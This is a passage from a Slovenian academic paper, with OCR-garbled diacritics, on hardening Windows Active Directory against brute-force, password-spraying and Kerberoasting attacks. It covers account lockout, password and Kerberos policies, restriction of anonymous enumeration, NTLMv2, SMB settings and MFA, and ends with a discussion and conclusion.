uporabniskih racunov (angl. account lockout policy).
Da smo povecali varnost, so bile potrebne tri kljucne
politike. Politika “account lockout threshold” je dolo¢ala
najvecje dovoljeno Stevilo zaporednih neuspeS$nih pri-
jav, preden se uporabniski racun zacasno zaklene, s
¢imer se je zmanjSala moZnost napadov z grobo silo.
“Account lockout duration” je dolocala trajanje zaklepa
po preseZenem Stevilu napacnih prijav. Politika “reset
account lockout counter after” pa je dolocala c¢asovno
obdobje, po katerem se Stevec neuspe$nih poskusov
ponastavi.

Za dodatno zascito sistema je pomembno vlogo igrala
tudi ustrezna konfiguracija politik za upravljanje gesel
(angl. password policy). Politika “enforce password hi-
story” je preprecila ponovno uporabo Ze uporabljenih
gesel, saj shrani doloCeno Stevilo predhodnih gesel,
in je tako spodbudila uporabnike k ustvarjanju novih,
unikatnih gesel ob vsaki spremembi. Politiki “minimum
password length” in “password must meet complexity
requirements” sta skupaj dolocili minimalne tehni¢ne
zahteve za gesla: prva je dolocila najmanjSe dovoljeno
Stevilo znakov, druga pa uporabo kombinacije velikih in
malih ¢rk, Stevilk ter posebnih znakov. Politika “maxi-
mum password age” je dolocila najvecje dovoljeno ob-
dobje uporabe istega gesla; s to politiko smo uporabnike
prisilili k rednemu spreminjanju gesel in s tem zmanjSali
verjetnost, da je ukradeno geslo ostalo dlje Casa v
uporabi.

Ker pa je bil eden od napadenih protokolov Kerberos,
je bilo nujno uvesti varnostne politike, ki povecajo
varnost tega avtentikacijskega mehanizma. Privzete na-
stavitve niso zagotavljale ustrezne zaSCite pred zlora-
bami vstopnic, zato smo z uvedbo dodatnih varnostnih
zaS¢itnih ukrepov izboljSali nadzor nad izdajo in ve-
ljavnostjo teh vstopnic, kar zmanjSuje moznost napadov,
kot je kraja ali ponarejanje vstopnic. Politika “enforce
user logon restrictions” je v sistemu preverjala, ali ima
uporabnik ali storitev primerne privilegije, da lahko
izda vstopnico. V sistemu pa smo tudi skrajSali Cas

veljavnosti vstopnice Kerberos za uporabnike in storitve,
kar smo storili s politikama “maximum lifetime for user
ticket” in “maximum lifetime for service ticket”. Politika
“maximum lifetime for ticket renewal” je preprecila neo-
mejeno podaljSevanje veljavnosti uporabniskih vstopnic,
kar zmanjSuje moznost dolgotrajnih zlorab. Klju¢na za
delovanje sistema je bila tudi sinhronizacija ¢asa med
napravami — politika “maximum tolerance for computer
clock synchronization” zagotavlja, da razlike med sis-
temskimi urami ne vplivajo na preverjanje veljavnosti
vstopnic in ne omogocajo napadov z izkoriS¢anjem
casovnih neskladij. Za dodatno zaScito storitve Kerberos
je politika “warning for large Kerberos tickets” opozo-
rila na neobiCajno velike vstopnice. TakSne vstopnice
so lahko indikator poskusa zlorabe, kot so napadi, ki
temeljijo na vstavljanju dodatnih atributov ali trditev
v Zeton. V nadaljevanju je bila v skupinskih politi-
kah omogocena tudi politika “KDC support for claims,
compound authentication and Kerberos armoring”, ki
aktivira podporo za napredne varnostne mehanizme, kot
so sestavljena overjanja (angl. compound authentication)
ter zasCita Kerberos prek mehanizma “Kerberos armo-
ring”. Ti mehanizmi omogocajo vecplastno preverjanje
uporabniSke identitete in zasCito obcutljivih avtentika-
cijskih podatkov med prenosom, s Cimer se bistveno
zmanjSa moznost uspesnega prestrezanja ali ponareditve
Zetonov.

Za zasCito podatkov pri prenosu Zetonov in pre-
precevanje morebitnih napadov na obcutljive infor-
macije smo konfigurirali Sifriranje z uporabo algo-
ritma AES256-CTS-HMAC-SHA1-96. Ta algoritem za-
gotavlja visoko stopnjo varnosti, saj zdruZuje mocno
Sifriranje (AES256) z naprednim preverjanjem integri-
tete (HMAC-SHA1-96), kar bistveno zmanjSa tveganje
za prestrezanje ali manipulacijo s prenosom avtentika-
cijskih podatkov.

Za preprecCevanje nepooblascenega dostopa in zascito
sistema pred razkritjem podatkov brez ustrezne avten-
tikacije je nujno implementirati varnostne politike, ki
izkljuCujejo anonimni dostop. Politike, kot so “network
access: restrict anonymous access to named pipes and
shares”, “network access: do not allow anonymous enu-
meration of SAM accounts and shares” ter “network
access: do not allow anonymous enumeration of SAM
accounts”, so kljucne, saj napadalcem preprecujejo, da
bi brez ustrezne avtentikacije dostopali do obcutljivih
informacij o uporabniSkih racunih, skupinah in delje-
nih virih v sistemu. Omogocanje teh politik zmanjSa
tveganje za napade, kot je enumeracija, pri katerih
lahko nepooblasceni uporabniki pridobijo podatke, ki jih
lahko uporabijo za nadaljnje zlorabe sistema ali izvajanje
drugih napadov.

Za zmanjSanje izpostavljenosti storitev je bila konfi-
gurirana varna delegacija (angl. Secure Delegation Con-
figuration), kar je omogocilo, da dostop do dolocene
storitve prejmejo le pooblas¢eni uporabniki, medtem ko
preostali v aktivnem imeniku (AD) tega dostopa niso
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imeli. Uporabniki z upravi¢enim dostopom so bili zato
vklju€eni v namensko skupino, povezano z ustrezno
storitvijo.

Okrepitev mocnega overjanja uporablja protokol
NTLMv2, da onemogoci Sibkejse overjalne metode. Ko
je nastavljena politika “network security: LAN manager
authentication level” na “set to send NTLMv2 response
only”, sistem omogoca le uporabo protokola NTLMv2,
kar preprecuje uporabo zastarelih in varnostno neustre-
znih metod, kot sta LM in NTLM. S tem se zmanjsa
verjetnost zlorabe gesel. Za dodatno za$cito poverilnic
onemogocena politika “network security: do not store
LAN manager hash value on next password change”
zagotovi, da se ob spremembi gesla ne ustvarijo in ne
shranjujejo LM (angl. LAN manager) zgos$cene vredno-
st1.

Za zasCito sistemov pred napadi, ki izkori§¢ajo po-
manjkljivosti v omreZnih protokolih, je klju¢no ustrezno
konfigurirati protokole, kot je SMB, ter onemogociti
dostop do storitev, ki so ranljive za napade, kot je
neomejena delegacija. Neomejena delegacija omogoca
kompromitiranemu racunu ali racunalniku, da se iz-
daja za kateregakoli uporabnika katerekoli storitve, kar
povecuje tveganje za zlorabo dostopa do obcutljivih
podatkov in storitev. Omogoc€anje te funkcionalnosti
prinasa pomembno varnostno tveganje, saj lahko napa-
dalec pridobi nepooblascen dostop in izkoristi ogrozZeni
racun za Siritev napada.

Vec¢namensko avtentikacijo (MFA) je treba implemen-
tirati kot dodatno zascito pred napadi, kot so kraje upo-
rabniSkih poverilnic ali pridobivanje dostopa z uporabo
Sibkih gesel. MFA zagotavlja dodatno plast zascite, tako
da za dostop do storitev zahteva veC kot le eno obliko
overjanja, kar zmanjSa verjetnost zlorabe dostopa.

Protokol SMB (server message block) se pogosto upo-
rablja za skupno rabo datotek in tiskalnikov v omreZzjih.
Vendar pa starejSe razliCice tega protokola, kot je SMB1,
vsebujejo Stevilne znane ranljivosti, ki jih napadalci
lahko izkoristijo za izvajanje napadov, kot je “man-in-
the-middle”ali kraja avtentikacijskih podatkov. Zelo po-
membno je, da onemogocimo ranljive razli¢ice protokola
SMB (kot je SMBI1) ter zagotovimo uporabo varnejSih
protokolov, kot sta SMB2 in SMB3. Te novejSe razli¢ice
vkljucujejo izboljSave Sifriranja in zascite pred napadi,
s ¢imer zmanjSujejo tveganje za prestrezanje podatkov
ali zlorabo komunikacije v omreZju. Nastavitve, kot so
Strict name resolution”in “encrypt passwords”v konfi-
guraciji SMB, preprecujejo dostop do omreZnih virov
prek napacnih imen in zagotavljajo Sifriranje avtenti-
kacijskih podatkov, s Cimer preprecujejo prestrezanje
in krajo gesel med prenosom. Uvedba teh varnostnih
ukrepov omogoca, da komunikacija v omreZju ostane
za$Citena in zmanjSa moznost za napade, ki izkoris¢ajo
pomanjkljivosti v omreZnih nastavitvah.
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S DISKUSIJA

V nasi eksperimentalni reprodukciji napadov so bili
napadi z enumeracijo uporabnikov in prSenjem gesel naj-
uspesnejsi zaradi relativno Sibkih konfiguracij testnega
okolja. Analiza je pokazala, da so bili vsi napadi uspesni,
ker napadeni sistem ni imel dovolj dobre politike gesel
in drugih politik, ki smo jih nastavili, ko smo se po-
svetili obrambi pred napadi. Enumeracija uporabnikov
je omogocila zbiranje kljucnih podatkov za nadaljnje
napade, medtem ko so napadi z uporabo pogostih gesel
vodili do uspeSnega prevzema uporabniSkih racunov v
sistemu. Kerberoasting in napad s prsenjem gesel je
omogocila tudi slaba zascita protokola Kerberos, zlasti
dolgi Casovni intervali veljavnosti vstopnic in pomanj-
kanje Sifriranja.

Najucinkovitejsi preventivni ukrep je bila implemen-
tacija stroZje politike gesel, ki je definirala minimalno
dolzino in kompleksnost ter prepoved ponovne uporabe
gesel. Utrditev protokola Kerberos z omejevanjem Casa
veljavnosti vstopnic je pripomogla k zmanjSanju Casa, v
katerem bi napadalci lahko zlorabili pridobljene pove-
rilnice, pridobivanje obcutljivih podatkov pa je dodatno
oteZilo tudi omejevanje anonimnega dostopa, kar je zna-
tno zmanjSalo moZnosti za uspeSne napade z enumera-
cijo. Sistem je kljub temu ostal ranljiv za kompleksnejse
napade, kot je odtekanje poverilnic (angl. credential
leaking). Ti napadi ostajajo tveganje, kadar shranjevanje
poverilnic ni ustrezno Sifrirano in nadzorovano. Sistemi
so ranljivi tudi za napade s starejSimi protokoli, kot je
NTLM, in napade na neprimerno nastavljene streznike
LDAP, Se zlasti e omogocCajo anonimne poizvedbe.
Pomanjkanje spremljanja in posodabljanja sistema lahko
vodi v groZnje, kjer napadalec zlorabi obstojece privile-
gije za Siritev dostopa.

UravnoteZenje = med  varnostjo  in  visoko
razpoloZljivostjo  sistema prinaSa nadaljnji izziv.
Implementacija robustnih varnostnih ukrepov, kot so
varnostne kopije in omejitve dostopa, mora hkrati
omogociti nemoteno delovanje omreZja, saj lahko
prezapleten dostop do virov, raCunov in preostalih
funkcionalnosti, ki jih nudi AD, vodi v zmanjSanje
produktivnosti uporabnikov ter ve¢jo verjetnost napak.
Kljuéno je ohranjanje ravnovesja, kjer varnostni
ukrepi ucinkovito SCitijo sistem pred groznjami,
hkrati pa ne ovirajo dela in dostopa do virov. Uvedba
vecfaktorskega overjanja je na primer odli¢na za zascito,
vendar povecuje kompleksnost postopka prijave.

6 ZAKLJUCEK

V ¢lanku smo analizirali tri glavne vrste napadov z grobo
silo na Windows AD in predlagane preventivne ukrepe
za zaSCito sistema. Osredotoili smo se na kljucne
zaScitne ukrepe, kot so uporaba stroge politike gesel,
onemogocanje zastarelih protokolov, utrditev protokola
Kerberos, omejevanje anonimnega dostopa ter imple-
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mentacija naprednih varnostnih praks, ki v veliki meri
prispevajo k zmanjSanju tveganja za uspeSne napade.
Zagotavljanje varnosti kljub naStetim ukrepom ostaja
proces, ki zahteva stalno prilagajanje in izboljSave.
Napadalci namre¢ nenehno iS¢ejo nove nacine za iz-
koriS¢anje ranljivosti, zato je kljub uvedbi sodobnih
varnostnih ukrepov nujno redno spremljanje sistema ter
posodabljanje obrambnih mehanizmov.

Podobno nevaren pa je tudi t. i. silver ticket napad,
pri katerem napadalci izkoriS€ajo ranljivosti pri zaSciti
Zetonov Kerberos. Tak$ni napadi napadalcem omogocajo
dostop do omreZnih virov brez preverjanja pristnosti, kar
pomeni resno groznjo varnosti sistema. Poleg tehni¢nih
ukrepov je treba upostevati tudi vpliv tehnoloskega na-
predka in razvoj novih groZenj, ki postajajo vse bolj
kompleksne. Pri¢akujemo lahko nove napade, ki bodo
izkoriSc¢ali Se neodkrite ranljivosti, ter Ze poznane na-
pade, pred katerimi svojega sistema S$e nismo zascitili.
Med priljubljenimi napadi sta npr. pass-the-hash, kjer
napadalci z uporabo ukradenih zgoscenih gesel pridobijo
dostop do omreZnih virov, ne da bi potrebovali dejan-
ska gesla uporabnikov, in golden ticket, kjer napadalci
pridobijo klju¢ne poverilnice Kerberos domenskega nad-
zornika in z njimi ustvarijo lazne Zetone Kerberos, ki jim
omogocajo dostop do kateregakoli racuna v omrezju.

Pomembno je, da razvoj varnostnih ukrepov ne sledi
samo trendom, temve¢ tudi predvideva nove groZnje. V
prihodnosti bo prav tako vse bolj relevantno vkljucevanje
uporabnikov v proces zagotavljanja varnosti in razvoj
reSitev, ki za ucinkovito zaznavanje in prepreCevanje
napadov vkljucujejo nove tehnologije, kot sta umetna
inteligenca in strojno ucenje.

S stalnim izboljSevanjem tehni¢nih reSitev in
vkljuevanjem naprednih pristopov h kibernetski
varnosti bomo lahko zagotovili, da bo zasCita sistema
Windows AD ostala robustna tudi v prihodnosti.
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